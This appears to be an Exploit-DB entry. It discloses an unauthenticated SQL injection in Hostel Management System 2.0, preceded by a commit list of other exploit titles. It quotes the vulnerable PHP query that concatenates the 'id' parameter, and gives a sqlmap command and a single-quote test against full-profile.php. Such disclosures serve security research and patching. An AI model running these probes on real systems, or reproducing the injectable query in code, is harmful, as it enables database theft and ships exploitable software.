533f33f3f4
17 changes to exploits/shellcodes IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path AirControl 1.4.2 - PreAuth Remote Code Execution Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated) Clinic Management System 1.0 - Unauthenticated Remote Code Execution Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated) Oriol Espinal CMS 1.0 - 'id' SQL Injection Clinic Management System 1.0 - Authenticated Arbitrary File Upload Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin) VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution Navigate CMS 2.8.7 - Authenticated Directory Traversal D-Link DIR-615 T1 20.10 - CAPTCHA Bypass Online Marriage Registration System 1.0 - Remote Code Execution Cayin Content Management Server 11.0 - Remote Command Injection (root) SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User) Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read Cayin Signage Media Player 3.0 - Remote Command Injection (root) Cayin Digital Signage System xPost 2.5 - Remote Command Injection
20 lines
No EOL
754 B
Text
20 lines
No EOL
754 B
Text
# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated)
|
|
# Date: 2020-06-02
|
|
# Exploit Author: Selim Enes 'Enesdex' Karaduman
|
|
# Vendor Homepage: https://phpgurukul.com/hostel-management-system/
|
|
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7210
|
|
# Version: 2.0
|
|
# Tested on: Windows 10 - Wamp Server
|
|
|
|
--Vulnerable file /full-profile.php
|
|
|
|
--Vulnerable code;
|
|
$ret= mysqli_query($con,"SELECT * FROM registration where emailid = '".$_GET['id']."'");
|
|
|
|
Id parameter's value is going into sql query directly!
|
|
|
|
--Proof Of Concept
|
|
|
|
sqlmap -u "http://TARGET/hostel/full-profile.php?id=6"
|
|
OR
|
|
http://TARGET/hostel/full-profile.php?id=6' Single Quote will cause SQL error |